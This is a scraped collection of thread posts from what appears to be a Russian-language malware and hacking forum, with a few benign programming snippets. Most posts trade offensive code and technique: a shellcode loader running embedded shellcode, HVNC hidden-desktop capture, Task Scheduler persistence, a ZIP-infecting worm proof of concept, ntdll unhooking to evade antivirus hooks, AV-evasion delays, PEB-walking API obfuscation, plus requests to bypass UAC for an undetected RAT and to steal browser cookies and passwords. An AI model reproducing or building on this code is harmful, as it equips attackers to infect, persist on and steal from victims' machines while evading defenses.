        PropertyInfo[] apropinfo = type.GetProperties();

        iCount = 0;

        foreach (PropertyInfo pi in apropinfo)
        {
            if (pi.CanRead && pi.GetGetMethod().IsStatic)
                iCount++;
        }

        name = new string[iCount];
        value = new string[iCount];

        iCount = 0;

        foreach (PropertyInfo pi in apropinfo)
        {
            if (pi.CanRead && pi.GetGetMethod().IsStatic)
            {
                name[iCount] = pi.Name;
                value[iCount] = pi.GetValue(type, null).ToString();
                iCount++;
            }
        }
        Array.Sort(name, value);
    }
}

собственно говоря в конструктор данного класса передается typeof от пространства имен :о)...

Но хочется как-то сделать так, чтобы можно было спрашивать у пользователя пространство имен, в котором он хочет вытащить все методы и их значения. Тобишь передавать строчку... но вопрос, как тогда взять typeof от значения, которое храниться в строчке, да еще и преобразовать его как-то в указатель на пространство имен :о) :D гы, сам не понял что сказал...

Ваши варианты ;о)... ваши идеи :о)...

Ну а что, будем изучать C#...

How To Bypass Windows UAC?
ID: 6765d804b4103b69df3759e7
Thread ID: 44113
Created: 2020-11-09T21:22:59+0000
Last Post: 2021-01-22T14:44:19+0000
Author: XX01
Replies: 17 Views: 3K

Hi everyone, I made a RAT in c++ that bypass all the anti viruses in VirusTotal.
but when the victim installs the RAT the UAC tell him that the publisher is not recognized.
how can I bypass it?

C# Как заполучить из лисы куки и пасы
ID: 6765d804b4103b69df3759ec
Thread ID: 42635
Created: 2020-09-29T18:02:16+0000
Last Post: 2021-01-17T13:47:38+0000
Author: Xk-ar
Replies: 21 Views: 3K

В общем то вопрос в шапке, надеюсь тут найдется человек который подскажет ответ

Проблема с vnc
ID: 6765d804b4103b69df3759f2
Thread ID: 46289
Created: 2021-01-03T18:51:31+0000
Last Post: 2021-01-09T20:31:30+0000
Author: Jurddox
Replies: 25 Views: 3K

Всем привет, вот функция которая должна получать пискли созданного нового рабочего стола:

#include <windows.h>

int main()
{
HDESK g_hDesk;
BITMAPINFOHEADER g_sImageInfo = {};
char* g_pImageBits = 0;

g_hDesk = OpenDesktopA("novij rabochij stol", 0, TRUE, GENERIC_ALL);
if (!g_hDesk)
g_hDesk = CreateDesktopA("novij rabochij stol", NULL, NULL, 0, GENERIC_ALL, NULL);
SetThreadDesktop(g_hDesk);

HWND hWnd = GetDesktopWindow();

RECT rc;
GetClientRect(hWnd, &rc);
int cx = rc.right - rc.left;
int cy = rc.bottom - rc.top;

if (!g_pImageBits || (g_sImageInfo.biWidth != cx) || (g_sImageInfo.biHeight != cy))
{
if (g_pImageBits)
free(g_pImageBits);

int line = cx * 4;
int size = cy * line;
g_pImageBits = (char*)malloc(size);

g_sImageInfo.biSize = sizeof(g_sImageInfo);
g_sImageInfo.biWidth = cx;
g_sImageInfo.biHeight = cy;
g_sImageInfo.biPlanes = 1;
g_sImageInfo.biBitCount = 32;
g_sImageInfo.biCompression = BI_RGB;
g_sImageInfo.biSizeImage = size;
}

HDC hDc = GetDC(NULL);
HDC hMemDc = CreateCompatibleDC(hDc);
HBITMAP hMemBitmap = CreateCompatibleBitmap(hDc, cx, cy);
HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemDc, hMemBitmap);
BitBlt(hMemDc, 0, 0, cx, cy, hDc, rc.left, rc.top, SRCCOPY);
SelectObject(hMemDc, hOldBitmap);
GetDIBits(hDc, hMemBitmap, 0, cy, g_pImageBits, (BITMAPINFO*)&g_sImageInfo, DIB_RGB_COLORS);
DeleteObject(hMemBitmap);
DeleteDC(hMemDc);
ReleaseDC(hWnd, hDc);
}

Click to expand...

g_pImageBits равняется NULL после выполнения функции

Добавляемся в авторан | Task Scheluder COM
ID: 6765d804b4103b69df375a0a
Thread ID: 44892
Created: 2020-11-28T05:40:55+0000
Last Post: 2020-11-30T20:55:06+0000
Author: Jeffs
Replies: 28 Views: 3K

В общем-то, был в поисках актуального метода закрепа в системе. CurrentVersion\Run(Once) такая себе затея, решил попробовать через планировщик закрепиться.
Но, как оказалось, без админ-прав задание не создать, хотя если создавать через schtasks.exe - можно и из-под юзера.

C:Copy to clipboard

HRESULT SetStartupTask(LPCWSTR path, LPCWSTR taskName)
{
    HRESULT hRes = S_OK;
    ITaskService* taskService = nullptr;
    ITaskFolder* taskFolder = nullptr;
    ITaskDefinition* taskDef = nullptr;
    IActionCollection* actions = nullptr;
    ITriggerCollection* triggers = nullptr;
    IRegisteredTask* task = nullptr;

    do
    {
        hRes = CoInitialize(nullptr,);
        if (FAILED(hRes)) break;

        hRes = CoCreateInstance(CLSID_TaskScheduler, nullptr, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&taskService);
        if (FAILED(hRes)) break;

        hRes = taskService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
        if (FAILED(hRes)) break;

        hRes = taskService->GetFolder(_bstr_t(L"\\"), &taskFolder);
        if (FAILED(hRes)) break;

        hRes = taskService->NewTask(0, &taskDef);
        if (FAILED(hRes)) break;

        hRes = taskDef->get_Actions(&actions);
        if (SUCCEEDED(hRes))
        {
            IAction* action = nullptr;
            hRes = actions->Create(TASK_ACTION_EXEC, &action);
            if (SUCCEEDED(hRes))
            {
                IExecAction* execAction = nullptr;
                hRes = action->QueryInterface(IID_IExecAction, (void**)&execAction);
                if (SUCCEEDED(hRes))
                {
                    hRes = execAction->put_Path(_bstr_t(path));
                    execAction->Release();
                }
                action->Release();
            }
            actions->Release();
        }

        hRes = taskDef->get_Triggers(&triggers);
        if (SUCCEEDED(hRes))
        {
            ITrigger* trigger = nullptr;
            hRes = triggers->Create(TASK_TRIGGER_LOGON, &trigger);
            if (SUCCEEDED(hRes))
            {
                ILogonTrigger* logonTrigger = nullptr;
                hRes = trigger->QueryInterface(IID_ILogonTrigger, (void**)&logonTrigger);
                if (SUCCEEDED(hRes))
                {
                    hRes = logonTrigger->put_Id(_bstr_t(L"Default"));
                    logonTrigger->Release();
                }
                trigger->Release();
            }
            triggers->Release();
        }

        hRes = taskFolder->RegisterTaskDefinition(_bstr_t(taskName), taskDef, TASK_CREATE_OR_UPDATE, _variant_t(), _variant_t(), TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(), &task);
    } while (FALSE);

    if (taskService) taskService->Release();
    if (taskFolder) taskFolder->Release();
    if (taskDef) taskDef->Release();
    if (task) task->Release();
    CoUninitialize();

    return hRes;
}

P.S советую обратить внимание на COM Hijaking.

подмена указателя на функцию
ID: 6765d804b4103b69df375a0b
Thread ID: 44457
Created: 2020-11-17T18:52:15+0000
Last Post: 2020-11-23T13:55:59+0000
Author: gamerofh
Replies: 38 Views: 3K

Стоит вот какая задачка:
Есть у винды файлик ntoskrnl.exe
и есть в нем функция ZwConvertBetweenPerformanceCounter
а внутри вызывается xKdEnumerateDebuggingDevices по указателю.

Научите, покажите, продайте (еще ваши варианты) решения подмены указателя на ту самую функцию xKdEnumerateDebuggingDevices чтобы в итоге вызывалась подмененная функция драйвера... Там еще 3 параметра передается в нее.

В общем такой вот хук нужно сделать а мозгов не хватает.

А в идеале нужно найти другую функцию и хук делать в другое место. Если кто-то из вас может написать вот такой вот драйвер, помогите.
Цель - научиться.
Еще цель найти партнера. Не малварь. Все безобиднее.
Версия сборки винды 2004, 1909, 1903

Good Malware Sources for Learning From
ID: 6765d804b4103b69df375a10
Thread ID: 43499
Created: 2020-10-25T03:48:57+0000
Last Post: 2020-11-08T08:24:40+0000
Author: plexus
Replies: 13 Views: 3K

What are some good malware sources to read/study to learn from? I've been told that Zeus is incredibly well written and is good for studying however it is a bit outdated. Any other sources or recommendations?

Асинхронно передать данные на сервер
ID: 6765d804b4103b69df375a1a
Thread ID: 42837
Created: 2020-10-04T07:35:22+0000
Last Post: 2020-10-07T18:19:11+0000
Author: Jurddox
Replies: 30 Views: 3K

Всем привет, нужно соединится с сервером и передать большое количество данных(оклоло 200мб) нужно делать все асинхронно. Наведите на какие небыли примеры/документацию, сам что то ничего не нахожу

Создание читов на C++
ID: 6765d804b4103b69df375a2c
Thread ID: 41540
Created: 2020-08-30T18:24:32+0000
Last Post: 2020-09-03T08:10:25+0000
Author: Alkoss
Replies: 30 Views: 3K

Добрый день господа. Хотелось бы изучить c++ для дальнейшей разработки читов под игры. С программированием сталкиваюсь не первый раз, и немного понимаю что, и как. Но, хотелось бы узнать, с чего начать, и как лучше развиваться с этой сфере. Заранее спасибо. +PS: Возможно, может лучше начать изучение с C#, или не надо.

Приведение типов char[] в const char[]
ID: 6765d804b4103b69df375a49
Thread ID: 38898
Created: 2020-06-26T12:21:10+0000
Last Post: 2020-06-30T21:31:27+0000
Author: NEONFACE
Replies: 26 Views: 3K

Решил окунуться в программирование на C++ и сталкнулся с первыми проблемами:

C++:Copy to clipboard

#include "windows.h"
void main()
{/*
    HANDLE FileHandle;
    DWORD R;
    DWORD Size;
    char Line[781];
    FileHandle = CreateFileA("C:\\Temp\\shellcode.txt", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    Size = GetFileSize(FileHandle, &Size);
    ReadFile(FileHandle, Line, Size, &R, NULL);

   Здесь как я понимаю должно быть какое то приведение типов char Line[781] > const char shellcode[]
   
*/
    //     https://packetstormsecurity.com/files/156478/Windows-x86-Null-Free-WinExec-Calc.exe-Shellcode.html
    const char shellcode[] =
        "\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b"
        "\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3"
        "\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24"
        "\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14"
        "\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18"
        "\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74"
        "\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41"
        "\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52"
        "\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51"
        "\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff"
        "\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f"
        "\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2"
        "\x52\xff\xd0";

    PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (shellcode_exec) {
        RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
        DWORD threadID;
        HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
        if (hThread) {
            WaitForSingleObject(hThread, INFINITE);
        }
    }
}

Как запустить полученный извне шелкод?
Мне кажется дело в том что const char = signed char

Code:Copy to clipboard

   Type        |      range
-------------------------------
signed char    |  -128 to +127
unsigned char  |     0 to 255
Как программно нажать на кнопку?
ID: 6765d804b4103b69df375a4c
Thread ID: 35145
Created: 2020-02-23T12:49:36+0000
Last Post: 2020-06-26T10:32:22+0000
Author: timbo
Replies: 7 Views: 3K

слышал вот про это
button1.PerformClick();

но куда его добавить в этот код?помогите кому не сложно,нужно чтобы кнопка Login сама нажималась

вот код

C#:Copy to clipboard

using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;

namespace test
{
    
    public partial class MainForm : Form
    {
        
        private void Btn_Login_Click(object sender, EventArgs e)
        {
            if (this._api.IsConnected())
            {
                try
                {
                    this.LogIn();
                    return;
                }
                catch (Exception ex)
                {
                    this.Txt_Error.Text = ex.Message;
                    this.Txt_Error.Visible = true;
                    return;
                }
            }
            this.LoadError();
        }
    }
}
Заражаем ZIP архивы [C#, PoC]
ID: 6765d804b4103b69df375a58
Thread ID: 36313
Created: 2020-04-13T16:01:45+0000
Last Post: 2020-06-07T10:59:49+0000
Author: V1rtualGh0st
Replies: 12 Views: 3K

Привет, скрипт-кидди брат. Сегодня я покажу тебе Proof-Of-Concept мини-червя, который добавляет себя во все .zip архивы.

Начнём.

Логика нашего червя:

Первым делом создадим новый метод, который будет принимать 2 аргумента - папку для заражения и файл, который будем добавлять в архив:

И создаём рекурсивный метод, который будет заражать все подпапки:

C#:Copy to clipboard

    string currentFilePath = Assembly.GetExecutingAssembly().Location,
                      desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);

Затем вызываем методы:

C#:Copy to clipboard

    zipInfect(new DirectoryInfo(desktopPath), currentFilePath); // Заражаем архивы на рабочем столе
               recursiveInfect(desktopPath, currentFilePath); // И в подпапках

И теперь тестим:

Как видим, в архивах появился наш файлик.

Источник.

как убрать все данные о десктопной программе
ID: 6765d804b4103b69df375a63
Thread ID: 35953
Created: 2020-04-01T19:11:04+0000
Last Post: 2020-05-11T11:34:18+0000
Author: zetmoux
Replies: 12 Views: 3K

написал программу для винды, как сделать так что бы не было никакой информации о кодере, его пк и тд

ntdll.h
ID: 6765d804b4103b69df375a77
Thread ID: 34972
Created: 2020-02-15T11:30:00+0000
Last Post: 2020-04-04T08:07:18+0000
Author: 128
Replies: 7 Views: 3K

Всем привет. Подскажите пожалуйста, где найти актуальный ntdll.h с нормальными определениями структур

Написание билдера для малвари на с++
ID: 6765d804b4103b69df375a79
Thread ID: 27724
Created: 2019-02-06T22:14:06+0000
Last Post: 2020-04-02T10:40:38+0000
Author: iceberg
Replies: 11 Views: 3K

Привет всем, читающим этот тред. Подкиньте пожалуйста сорцы не EOF билдера, загорелся созданием консольной утилиты для сборки своего софта. Спасибо.

Получаем название установленновсленного антивируса через WMI
ID: 6765d804b4103b69df375a7c
Thread ID: 35696
Created: 2020-03-24T09:54:14+0000
Last Post: 2020-03-25T18:30:33+0000
Author: Jeffs
Replies: 9 Views: 3K

C:Copy to clipboard

#include <wbemidl.h>
#include <comutil.h>

#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "comsuppw.lib")

HRESULT GetInstalledAvName(LPSTR installedAv)
{
    HRESULT hr = S_OK;
    
    hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);

    if (FAILED(hr))
    {
        return hr;
    }

    hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL, EOAC_NONE, NULL);

    if (FAILED(hr))
    {
        CoUninitialize();
        return hr;
    }

    IWbemLocator* pWbemLocator = NULL;
    hr = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pWbemLocator);

    if (FAILED(hr))
    {
        CoUninitialize();
        return hr;
    }

    IWbemServices* pWbemServices = NULL;
    //в вин версиях ниже 7, вместо "root\\SecurityCenter2" - "\root\SecurityCenter", не проебитесь.
//как получить версию винды смотрите в соседней теме
    hr = pWbemLocator->ConnectServer(_bstr_t(L"root\\SecurityCenter2"), NULL, NULL, 0, NULL, 0, NULL, &pWbemServices);

    if (FAILED(hr))
    {
        pWbemLocator->Release();
        CoUninitialize();
        return hr;
    }

    IEnumWbemClassObject* pEnum;
    hr = pWbemServices->ExecQuery(bstr_t("WQL"), bstr_t("Select * From AntivirusProduct"), WBEM_FLAG_FORWARD_ONLY, NULL, &pEnum);

    if (FAILED(hr))
    {
        pWbemLocator->Release();
        pWbemServices->Release();
        CoUninitialize();
        return hr;
    }

    ULONG uObjectCount = 0;
    IWbemClassObject* pWmiObject;
    hr = pEnum->Next(WBEM_INFINITE, 1, &pWmiObject, &uObjectCount);

    if (FAILED(hr))
    {
        pWbemLocator->Release();
        pWbemServices->Release();
        pEnum->Release();
        return hr;
    }

    VARIANT vtProp;
    hr = pWmiObject->Get(L"displayName", 0, &vtProp, 0, 0);

    if (FAILED(hr))
    {
        pWbemLocator->Release();
        pWbemServices->Release();
        pEnum->Release();
        pWmiObject->Release();
        return hr;
    }

    lstrcatA(installedAv, _com_util::ConvertBSTRToString(vtProp.bstrVal));

    return TRUE;
}

Использование:

C:Copy to clipboard

int main()
{
    static char installedAv[100];
    HRESULT hr = S_OK;

    hr = GetInstalledAvName(installedAv);

    if (FAILED(hr))
    {
        printf("Getting installedAv error\n");
    }

    printf("installedAv = %s\n", installedAv);

    return 0;
}
Получаем версию Windows через WMI
ID: 6765d804b4103b69df375a7d
Thread ID: 35663
Created: 2020-03-23T07:50:14+0000
Last Post: 2020-03-24T05:36:48+0000
Author: Jeffs
Replies: 17 Views: 3K

Тупо перелопатил пример с msdn, мб кому пригодится:

Hidden content for authorized users.

C:Copy to clipboard

HRESULT GetWinVer(LPSTR winVer)
{
    HRESULT hres;

    hres = CoInitializeEx(0, COINIT_MULTITHREADED);

    if (FAILED(hres))
    {
        return hres;
    }

    hres = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE,
        NULL, EOAC_NONE, NULL);

    if (FAILED(hres))
    {
        CoUninitialize();
        return hres;
    }

    IWbemLocator* pLoc = NULL;

    hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);

    if (FAILED(hres))
    {
        CoUninitialize();
        return hres;
    }

    IWbemServices* pSvc = NULL;

    hres = pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);

    if (FAILED(hres))
    {
        pLoc->Release();
        CoUninitialize();
        return hres;
    }

    hres = CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL,
        RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);

    if (FAILED(hres))
    {
        pSvc->Release();
        pLoc->Release();
        CoUninitialize();
        return hres;
    }

    IEnumWbemClassObject* pEnumerator = NULL;
    hres = pSvc->ExecQuery(bstr_t("WQL"), bstr_t("SELECT * FROM Win32_OperatingSystem"),
        WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);

    if (FAILED(hres))
    {
        pSvc->Release();
        pLoc->Release();
        CoUninitialize();
        return hres;
    }

    IWbemClassObject* pclsObj = NULL;
    ULONG uReturn = 0;

    while (pEnumerator)
    {
        HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1,
            &pclsObj, &uReturn);

        if (uReturn == 0)
        {
            break;
        }

        VARIANT vtProp;

        hr = pclsObj->Get(L"Version", 0, &vtProp, 0, 0);
        lstrcatA(winVer, _com_util::ConvertBSTRToString(vtProp.bstrVal));
        VariantClear(&vtProp);

        pclsObj->Release();
    }

    pSvc->Release();
    pLoc->Release();
    pEnumerator->Release();
    CoUninitialize();

    return hres;
}

Использование:

C:Copy to clipboard

int main(int argc, char** argv)
{
    static char winVer[100];
    
    if (FAILED(GetWinVer(winVer)))
    {
        return 1;
    }
    
    wcout << "WinVer: " << winVer << endl;
    return 0;
}
Сисколлы.
ID: 6765d804b4103b69df375a82
Thread ID: 34769
Created: 2020-02-03T20:32:47+0000
Last Post: 2020-03-14T12:22:36+0000
Author: Haunt
Replies: 19 Views: 3K

Вопрос такой назрел, собственно, почему используют сисколлы для обхода юм хуков, если можно выполнить анхук всей dll.
Например ntdll.dll

  1. маппим копию с диска ntdll в память
  2. находим VA .text секции похученной dll
  3. находим VA .text секции смапленной чистой копии
  4. получаем mem protect .text секции похученной dll
  5. копируем «чистую» .text секцию по VA похученной, тем самым пропатчивая аверские хуки до состояния оригинала. Т.е анхук.
  6. восстанавливаем mem protect свежесмапленной секции, чтобы было как у похученной.
    7)???profit

В чем преимущества сисколлов? Или я чего то не знаю? Если объективно проще и универсальнее этот способ.

UPD. При таком подходе

  1. функции для анхука можно сисколлить, а уже после анхука использовать остальные апи в привычной манере.
  2. если условная ntdll юзает импорты, то их патчить тоже.
c/с++/с#
ID: 6765d804b4103b69df375a87
Thread ID: 33969
Created: 2019-12-21T15:57:27+0000
Last Post: 2020-02-23T07:32:40+0000
Author: AndreyGray
Replies: 13 Views: 3K

Ребят, нужны исходники с# на обход защиты, буду рад любой помощи

p.s. Начинающий кодер

Методы обхода AV в исходниках c++
ID: 6765d804b4103b69df375a91
Thread ID: 34587
Created: 2020-01-25T13:43:27+0000
Last Post: 2020-01-27T10:09:50+0000
Author: kseGB
Replies: 11 Views: 3K

Прошу делиться методами обхода AV через исходники в C++
вот мой первый метод
в начале файла добавляем рандомизированную функцию задержки + вычисление

C++:Copy to clipboard

int n = rand() % 10;
    int r = 1;

              if (n == 0);
              r = +11;
              r = n * 400;
              Sleep(155);
              if (n == 1);
              r = +12;
              r = n * 300;
              Sleep(145);
              if (n == 2);
              r = +13;
              r = n * 200;
              Sleep(135);
              if (n == 3);
              r = +14;
              r = n * 190;
              Sleep(125);
              if (n == 4);
              r = +15;
              r = n * 180;
              Sleep(115);
              if (n == 5);
              r = +16;
              r = n * 160;
              Sleep(105);
              if (n == 6);
              r = +17;
              r = n * 150;
              Sleep(85);
              if (n == 7);
              r = +18;
              r = n * 140;
              Sleep(65);
              if (n == 8);
              r = +19;
              r = n * 130;
              Sleep(55);
              if (n == 9);
              r = +20;
              r = n * 120;
              Sleep(45);
              if (n == 10);
              r = +21;
              r = n * 110;
              Sleep(35);
Вопрос - создать x64 процесс из под x86 процесса
ID: 6765d804b4103b69df375a95
Thread ID: 34462
Created: 2020-01-19T19:46:26+0000
Last Post: 2020-01-22T10:52:59+0000
Author: PlebsoVata
Replies: 16 Views: 3K

Возможно ли создать x86 процесс из-под x64 процесса или наоборот, используя какие-либо недокументированные функции?
насколько я понимаю NtCreateProcess этого сделать не может

Обфускация API-вызовов | Трушный метод
ID: 6765d804b4103b69df375a97
Thread ID: 32437
Created: 2019-10-12T07:16:35+0000
Last Post: 2020-01-16T04:02:47+0000
Author: dopeware
Prefix: Статья
Replies: 14 Views: 3K

Здравствуйте, многоуважаемые форумчане.
Сегодня я хочу поведать вам о банальной технологии обфускации API вызвов. Эта методика сильно усложнит жизнь начинающему реверсеру и немного уменьшит вес вашего софта.
Для того, что бы скрыть вызовы WinApi функций из под нашей программы - мы будем парсить таблицу экспорта нужных нам библиотек своими ручками.
Думаю, у вас сейчас есть один вопрос - а как мы получим дескриптор нужной нам библиотеки?

Всё просто. В каждый процесс в ОС Windows по дефолту грузятся несколько библиотек. Основные - Kernel32.dll и Ntdll.dll , в зависимости от нахождения в эмуляции ( Wow64 ) могут грузиться и другие,
однако это нам не нужно в контексте данного гайда.

В системе Windows есть структура под названием PEB. ( Process Environment Block , блок информации о процессе. Подробнее - https://en.wikipedia.org/wiki/Process_Environment_Block )
Оттуда мы сможем взять дескриптор модуля Kernel32.dll , подтянуть из его таблицы экспорта LoadLibrary , а затем грузить нужные нам библиотеки, доставая из них нужные функции.
Для некоторых вышеописанное может показаться сложной задачей, однако поверьте, всё банально проосто. Сейчас я вам это наглядно покажу.
Давайте напишем функцию, которая вернёт нам дескриптор модуля Kernel32.dll.

Code:Copy to clipboard

HMODULE GetKernel32()
{
    __asm
    {
        mov ebx, FS:[0x30] // PEB для 32-битных приложений всегда лежит в регистре FS по смещению 0x30, получаем его.
        mov ebx, [ebx + 0x0C] // Получаем указатель на структуру PEB_LDR_DATA.
        mov ebx, [ebx + 0x14] // Получаем указатель на первую запись в InMemoryOrderModuleList.
        mov ebx, [ebx] // Получаем указатель на вторую запись в InMemoryOrderModuleList. ( ntdll.dll )
        mov ebx, [ebx] // Получаем указатель на третью запись в InMemoryOrderModuleList. ( kernel32.dll )
        mov eax, [ebx + 0x10] // Получаем адрес нужного нам модуля.
    }
}

Теперь давайте приступим к реализации самой функции для парсинга таблицы экспорта нужных нам модулей.

В диком виде в основном функции ищут по хешам от их названий, однако я не буду усложнять задачу и дабы всем был понятен посыл статьи - сделаю проще. Искать будем по их названиям.

Садимся кодить, в процессе написания функции буду оставлять в ней коментарии, дабы смысл был понятен всем :

Code:Copy to clipboard

LPVOID pGetProcAddress(
            IN HMODULE hModule,
            IN LPSTR lpFunctionName
            )
{

    if (hModule == NULL || lpFunctionName == NULL) return NULL; // Если один из параметров равен нулю - возвращаем ноль.

    PIMAGE_DOS_HEADER IDH = (PIMAGE_DOS_HEADER)hModule; // Получаем указатель на DOS заголовок модуля. Подробнее - тут : https://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html
    PIMAGE_NT_HEADERS INH = (PIMAGE_NT_HEADERS)((DWORD)IDH + IDH->e_lfanew); // Получаем указатель на NT заголовок модуля. Подробнее - тут : https://www.nirsoft.net/kernel_struct/vista/IMAGE_NT_HEADERS.html
    // P.S : e_lfanew - зарахдкоренное смещение до NT заголовка.
    PIMAGE_EXPORT_DIRECTORY IED = (PIMAGE_EXPORT_DIRECTORY)((DWORD)IDH + INH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // Получаем указатель на таблицу экспорта модуля.

    PDWORD AddressOfFunctions = (PDWORD)((DWORD)IDH + IED->AddressOfFunctions); // Получаем указатель на таблицу с адресами функций.
    PDWORD AddressOfNames = (PDWORD)((DWORD)IDH + IED->AddressOfNames); // Получаем указатель на таблицу с именами функций.
    PWORD AddressOfNameOrdinals = (PWORD)((DWORD)IDH + IED->AddressOfNameOrdinals); // Получаем указатель на таблицу с порядковыми номерами функций. ( Ординалами ).
    DWORD dwOrdinal = 0; // Сюда будет ложится порядковый номер функции.

    // Теперь проходимся в цикле по списку имён функций, экспортируемых данным модулем.

    for (DWORD i = 0; i < IED->NumberOfNames; i++)
    {
        LPSTR lpApiName = (LPSTR)((DWORD)IDH + AddressOfNames[i]); // Получаем имя текущей функции.

        if (strcmp(lpFunctionName, lpApiName) == 0)    // Если имя текущей идентично имени функции, которую мы ищем - сохраняем её порядковый номер и выходим из цикла.
        {
            dwOrdinal = AddressOfNameOrdinals[i];
            break;
        }
    }

    LPBYTE lpFunctionVA = (LPBYTE)((DWORD)IDH + AddressOfFunctions[dwOrdinal]); // Получаем адрес функции.

    // Вот незадача. Функция может переадресовыватся в другую библиотеку. Такое понятие называется - Function Forwarding. Это сделано для обратной совместимости между старым ПО и новыми системами.
    // Однако мы сейчас заставим нашу функцию обрабатывать функции, которые форвардятся.
    // Если функция форвардится - переменная lpFunctionVA будет содержать значение следующего вида : Название библиотеки, куда ссылается функция.Название функции
    // Например : HeapAlloc из Kernel32.dll даст нам результат ntdll.RtlAllocateHeap и так далее.

    if (lpFunctionVA > (LPBYTE)IED && lpFunctionVA < (LPBYTE)IED + INH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) // Определяем, форвардится ли функция.
    {
        char szDllName[MAX_PATH + 1] = { 0 }; // Буффер для получения названия динамической библиотеки, в которую ссылается функция.
        DWORD dwCounter = 0; // Счётчик, нужный нам для цикла.

        while (lpFunctionVA[dwCounter] != '.')
        {
            szDllName[dwCounter] = lpFunctionVA[dwCounter];
            dwCounter++;
        }

        LPSTR lpForwardedFunctionName = (LPSTR)(lpFunctionVA + (dwCounter + 1)); // Извлекаем название функции. + 1 - дабы обойти точку.
        HMODULE hKernel32 = GetKernel32(); // Получаем дескриптор модуля Kernel32.

        typedef HMODULE(WINAPI* xLoadLibraryA)(LPCSTR lpLibFileName); // Обьявляем прототип функции LoadLibraryA.
        xLoadLibraryA pLoadLibraryA = (xLoadLibraryA)pGetProcAddress(hKernel32, "LoadLibraryA"); // Получаем адрес LoadLibraryA.

        HMODULE hForwardedLibrary = pLoadLibraryA(szDllName); // Загружаем библиотеку, на которую ссылается функция.

        return pGetProcAddress(hForwardedLibrary, lpForwardedFunctionName); // Возвращаем адрес уже настоящей функции.
    }

    return lpFunctionVA; // Возвращаем адрес функции, если она не форвардится.
}

И теперь давайте попробуем практически использовать вышеприведённый мной код, неявно вызовем месседжбокс :

Code:Copy to clipboard

HMODULE hKernel32 = GetKernel32();

    typedef HMODULE(WINAPI* xLoadLibraryW)(LPCWSTR lpLibFileName);
    typedef int(WINAPI* xMessageBoxW)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType);

    xLoadLibraryW pLoadLibraryW = (xLoadLibraryW)pGetProcAddress(hKernel32, "LoadLibraryW");

    HMODULE hUser32 = pLoadLibraryW(L"user32.dll");

    xMessageBoxW pMessageBoxW = (xMessageBoxW)pGetProcAddress(hUser32, "MessageBoxW");

    pMessageBoxW(NULL, L"Hello, my nickname is dopeware!", NULL, MB_OK);
Кодим дисассемблер своими руками
ID: 6765d804b4103b69df375ba4
Thread ID: 6032
Created: 2005-12-21T18:01:04+0000
Last Post: 2005-12-24T15:00:37+0000
Author: Great
Replies: 3 Views: 3K

Кодим дисассемблер своими руками
автор: Great

I. Intro
Эта статья предназначена для тех, кто знает знает язык ассемблера. Если ты его не знаешь - не огорчайся, есть хороший учебник по ассемблеру В.Юрова, его можно найти практически в любом книжном магазине. Я расскажу про структуру машинных команд в архитектуре IA-32, для закрепления знаний и навыком мы вручную проассемблируем/дисассемблируем несколько команд и накодим простенький дисассемблер. Для упрощения мы реализуем дисассемб**цию только целочисленных команд реального режима. Статья написана для тех, кто знаком с языком Си (в программе используются некоторые конструкции С++, но ООП не используется, знаний Си будет достаточно).

II. Структура машинных команд IA-32
В общем случае машинная команда состоит из следующих полей:
